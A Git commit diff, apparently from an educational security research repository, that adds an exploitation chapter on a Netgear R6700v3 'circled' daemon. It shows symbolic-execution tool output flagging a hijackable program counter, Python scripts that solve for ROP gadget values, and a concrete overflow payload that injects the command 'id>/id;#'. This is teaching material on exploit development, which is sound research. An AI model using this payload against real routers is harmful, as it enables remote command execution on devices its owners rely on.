mirror of
https://github.com/cyber-defence-campus/netgear_r6700v3_circled
synced 2026-08-09 12:29:06 +00:00
Content morion_control_hijacker added
This commit is contained in:
Damian Pfammatter
+80
-54
@@ -6,22 +6,25 @@
|
||||
4. [Tracing](./4_tracing.md)
|
||||
5. [Symbolic Execution](./5_symbex.md)
|
||||
6. [Exploitation](./6_exploitation.md#exploitation)
|
||||
1. [morion_control_hijacker](./6_exploitation.md#morion_control_hijacker)
|
||||
2. [morion_rop_generator](./6_exploitation.md#morion_rop_generator)
|
||||
<!--TODO--------------------------------------------------------------------------------------------
|
||||
- [ ] Do in all chapters: ``` -> ```shell or ```python
|
||||
- [ ] Table of Contents
|
||||
- [ ] Try out manual exploit
|
||||
--------------------------------------------------------------------------------------------------->
|
||||
# Exploitation
|
||||
|
||||
## Manual
|
||||
|
||||
## morion_control_hijacker
|
||||
### Symbolic PC
|
||||
`morion_control_hijacker --skip_state_analysis circled.yaml`:
|
||||
```
|
||||
[...]
|
||||
[2024-04-10 14:44:53] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc #
|
||||
[2024-04-10 14:44:53] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00 #
|
||||
[2024-04-10 14:44:53] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}#
|
||||
[2024-04-11 11:35:34] [DEBG] 0x0000cf1c (ff df 8d e2): add sp, sp, #0x3fc
|
||||
[2024-04-11 11:35:34] [DEBG] 0x0000cf20 (03 db 8d e2): add sp, sp, #0xc00
|
||||
[2024-04-11 11:35:34] [DEBG] 0x0000cf24 (f0 8f bd e8): pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
|
||||
[2024-04-11 11:35:34] [WARN] [POST] Potential control hijack due to unrestricted register 'r11/fp'.
|
||||
[...]
|
||||
[2024-04-10 14:45:01] [WARN] [POST] Potential control hijack due to unrestricted register 'pc'.
|
||||
[2024-04-11 11:35:43] [WARN] [POST] Potential control hijack due to unrestricted register 'pc'.
|
||||
|
||||
_ _ _ _
|
||||
_ __ ___ ___ _ __(_) ___ _ __ ___| |__ ___| | |
|
||||
@@ -37,47 +40,20 @@ Available objects:
|
||||
|
||||
Type quit(), exit() or ctrl-d to leave the interpreter.
|
||||
|
||||
In [1]: run -i circled.rop1.py
|
||||
{
|
||||
392: i: 5132, m: 0xbeffc24c [MODEL:fgets@libc:s+392]:8 = 0xb8,
|
||||
393: i: 5132, m: 0xbeffc24d [MODEL:fgets@libc:s+393]:8 = 0xc9,
|
||||
394: i: 5132, m: 0xbeffc24e [MODEL:fgets@libc:s+394]:8 = 0x00,
|
||||
395: i: 5132, m: 0xbeffc24f [MODEL:fgets@libc:s+395]:8 = 0x00
|
||||
}
|
||||
|
||||
In [2]: run -i circled.rop2.py
|
||||
{
|
||||
368: i: 5132, m: 0xbeffc234 [MODEL:fgets@libc:s+368]:8 = 0x90
|
||||
369: i: 5132, m: 0xbeffc235 [MODEL:fgets@libc:s+369]:8 = 0xc2,
|
||||
370: i: 5132, m: 0xbeffc236 [MODEL:fgets@libc:s+370]:8 = 0xff,
|
||||
371: i: 5132, m: 0xbeffc237 [MODEL:fgets@libc:s+371]:8 = 0xbe,
|
||||
392: i: 5132, m: 0xbeffc24c [MODEL:fgets@libc:s+392]:8 = 0xb8,
|
||||
393: i: 5132, m: 0xbeffc24d [MODEL:fgets@libc:s+393]:8 = 0xc9,
|
||||
394: i: 5132, m: 0xbeffc24e [MODEL:fgets@libc:s+394]:8 = 0x00,
|
||||
395: i: 5132, m: 0xbeffc24f [MODEL:fgets@libc:s+395]:8 = 0x00,
|
||||
1483: i: 15451, m: 0xbeffc290 [MODEL:fgets@libc:s+460]:8 = 0x69,
|
||||
1484: i: 15451, m: 0xbeffc291 [MODEL:fgets@libc:s+461]:8 = 0x64,
|
||||
1485: i: 15451, m: 0xbeffc292 [MODEL:fgets@libc:s+462]:8 = 0x3e,
|
||||
1486: i: 15451, m: 0xbeffc293 [MODEL:fgets@libc:s+463]:8 = 0x2f,
|
||||
1487: i: 15451, m: 0xbeffc294 [MODEL:fgets@libc:s+464]:8 = 0x69,
|
||||
1488: i: 15451, m: 0xbeffc295 [MODEL:fgets@libc:s+465]:8 = 0x64,
|
||||
1489: i: 15451, m: 0xbeffc296 [MODEL:fgets@libc:s+466]:8 = 0x3b,
|
||||
1490: i: 15451, m: 0xbeffc297 [MODEL:fgets@libc:s+467]:8 = 0x23,
|
||||
1491: i: 15451, m: 0xbeffc298 [MODEL:fgets@libc:s+468]:8 = 0x00,
|
||||
1492: i: 15451, m: 0xbeffc299 [MODEL:fgets@libc:s+469]:8 = 0x00,
|
||||
1493: i: 15451, m: 0xbeffc29a [MODEL:fgets@libc:s+470]:8 = 0x00,
|
||||
1494: i: 15451, m: 0xbeffc29b [MODEL:fgets@libc:s+471]:8 = 0x00,
|
||||
1495: i: 15451, m: 0xbeffc29c [MODEL:fgets@libc:s+472]:8 = 0x00,
|
||||
1496: i: 15451, m: 0xbeffc29d [MODEL:fgets@libc:s+473]:8 = 0x00,
|
||||
1497: i: 15451, m: 0xbeffc29e [MODEL:fgets@libc:s+474]:8 = 0x00,
|
||||
1498: i: 15451, m: 0xbeffc29f [MODEL:fgets@libc:s+475]:8 = 0x00
|
||||
}
|
||||
In [1]:
|
||||
```
|
||||
Why does the cmd start at offset +460?
|
||||
### ROP Chain
|
||||
|
||||
<figure>
|
||||
<img src="../images/ROP_Chain.svg" alt="ROP Chain"/>
|
||||
<figcaption>
|
||||
Fig. 1: ROP Chain - Showing ...
|
||||
</figcaption>
|
||||
</figure>
|
||||
|
||||
[circled.rop1.py](../morion/circled.rop1.py):
|
||||
```
|
||||
### Payload Generation
|
||||
[circled.rop1.py](../morion/circled.rop1.py#L10):
|
||||
```python
|
||||
[...]
|
||||
# Preconditions gadget 0
|
||||
g0_sp_val = ctx.getConcreteRegisterValue(ctx.registers.sp)-9*4
|
||||
@@ -88,13 +64,24 @@ g0_pc_val = 0xc9b8
|
||||
model = ctx.getModel(g0_pc_ast == g0_pc_val)
|
||||
pprint(model)
|
||||
```
|
||||
[circled.rop2.py](../morion/circled.rop2.py):
|
||||
|
||||
```
|
||||
In [1]: run -i circled.rop1.py
|
||||
{
|
||||
392: i: 5132, m: 0xbeffc24c [MODEL:fgets@libc:s+392]:8 = 0xb8,
|
||||
393: i: 5132, m: 0xbeffc24d [MODEL:fgets@libc:s+393]:8 = 0xc9,
|
||||
394: i: 5132, m: 0xbeffc24e [MODEL:fgets@libc:s+394]:8 = 0x00,
|
||||
395: i: 5132, m: 0xbeffc24f [MODEL:fgets@libc:s+395]:8 = 0x00
|
||||
}
|
||||
```
|
||||
|
||||
[circled.rop2.py](../morion/circled.rop2.py#L10):
|
||||
```python
|
||||
[...]
|
||||
# OS command
|
||||
md5_sum_len = 32
|
||||
cmd = "id>/id;#"
|
||||
cmd_addr = 0xbeffc104+396
|
||||
cmd_addr = 0xbeffc0c4+396
|
||||
|
||||
# Preconditions gadget 0
|
||||
g0_sp_val = ctx.getConcreteRegisterValue(ctx.registers.sp)-9*4
|
||||
@@ -114,14 +101,53 @@ model = ctx.getModel(ast.land([
|
||||
pprint(model)
|
||||
```
|
||||
|
||||
## Analysis Module morion_rop_generator
|
||||
```
|
||||
In [2]: run -i circled.rop2.py
|
||||
{
|
||||
368: i: 5132, m: 0xbeffc234 [MODEL:fgets@libc:s+368]:8 = 0x50,
|
||||
369: i: 5132, m: 0xbeffc235 [MODEL:fgets@libc:s+369]:8 = 0xc2,
|
||||
370: i: 5132, m: 0xbeffc236 [MODEL:fgets@libc:s+370]:8 = 0xff,
|
||||
371: i: 5132, m: 0xbeffc237 [MODEL:fgets@libc:s+371]:8 = 0xbe,
|
||||
392: i: 5132, m: 0xbeffc24c [MODEL:fgets@libc:s+392]:8 = 0xb8,
|
||||
393: i: 5132, m: 0xbeffc24d [MODEL:fgets@libc:s+393]:8 = 0xc9,
|
||||
394: i: 5132, m: 0xbeffc24e [MODEL:fgets@libc:s+394]:8 = 0x00,
|
||||
395: i: 5132, m: 0xbeffc24f [MODEL:fgets@libc:s+395]:8 = 0x00,
|
||||
1419: i: 15451, m: 0xbeffc250 [MODEL:fgets@libc:s+396]:8 = 0x69,
|
||||
1420: i: 15451, m: 0xbeffc251 [MODEL:fgets@libc:s+397]:8 = 0x64,
|
||||
1421: i: 15451, m: 0xbeffc252 [MODEL:fgets@libc:s+398]:8 = 0x3e,
|
||||
1422: i: 15451, m: 0xbeffc253 [MODEL:fgets@libc:s+399]:8 = 0x2f,
|
||||
1423: i: 15451, m: 0xbeffc254 [MODEL:fgets@libc:s+400]:8 = 0x69,
|
||||
1424: i: 15451, m: 0xbeffc255 [MODEL:fgets@libc:s+401]:8 = 0x64,
|
||||
1425: i: 15451, m: 0xbeffc256 [MODEL:fgets@libc:s+402]:8 = 0x3b,
|
||||
1426: i: 15451, m: 0xbeffc257 [MODEL:fgets@libc:s+403]:8 = 0x23,
|
||||
1427: i: 15451, m: 0xbeffc258 [MODEL:fgets@libc:s+404]:8 = 0x00,
|
||||
1428: i: 15451, m: 0xbeffc259 [MODEL:fgets@libc:s+405]:8 = 0x00,
|
||||
1429: i: 15451, m: 0xbeffc25a [MODEL:fgets@libc:s+406]:8 = 0x00,
|
||||
1430: i: 15451, m: 0xbeffc25b [MODEL:fgets@libc:s+407]:8 = 0x00,
|
||||
1431: i: 15451, m: 0xbeffc25c [MODEL:fgets@libc:s+408]:8 = 0x00,
|
||||
1432: i: 15451, m: 0xbeffc25d [MODEL:fgets@libc:s+409]:8 = 0x00,
|
||||
1433: i: 15451, m: 0xbeffc25e [MODEL:fgets@libc:s+410]:8 = 0x00,
|
||||
1434: i: 15451, m: 0xbeffc25f [MODEL:fgets@libc:s+411]:8 = 0x00
|
||||
}
|
||||
```
|
||||
|
||||
<figure>
|
||||
<img src="../images/ROP_Chain.svg" alt="ROP Chain"/>
|
||||
<figcaption>
|
||||
Fig. 1: ROP Chain - Showing ...
|
||||
</figcaption>
|
||||
</figure>
|
||||
[circled.rop3.py](../morion/circled.rop3.py#L17):
|
||||
```python
|
||||
[...]
|
||||
# Payload generation
|
||||
payload = b"A"*368
|
||||
payload += b"\x50\xc2\xff\xbe"
|
||||
payload += b"B"*20
|
||||
payload += b"\xb8\xc9\x00\x00"
|
||||
payload += b"\x69\x64\x3e\x2f"
|
||||
payload += b"\x69\x64\x3b\x23"
|
||||
payload += b"C"*617
|
||||
payload += b" X"
|
||||
[...]
|
||||
```
|
||||
|
||||
<!--PROCEED HERE-->
|
||||
## morion_rop_generator
|
||||
|
||||
[circled.init.yaml](../morion/circled.init.yaml#L37):
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user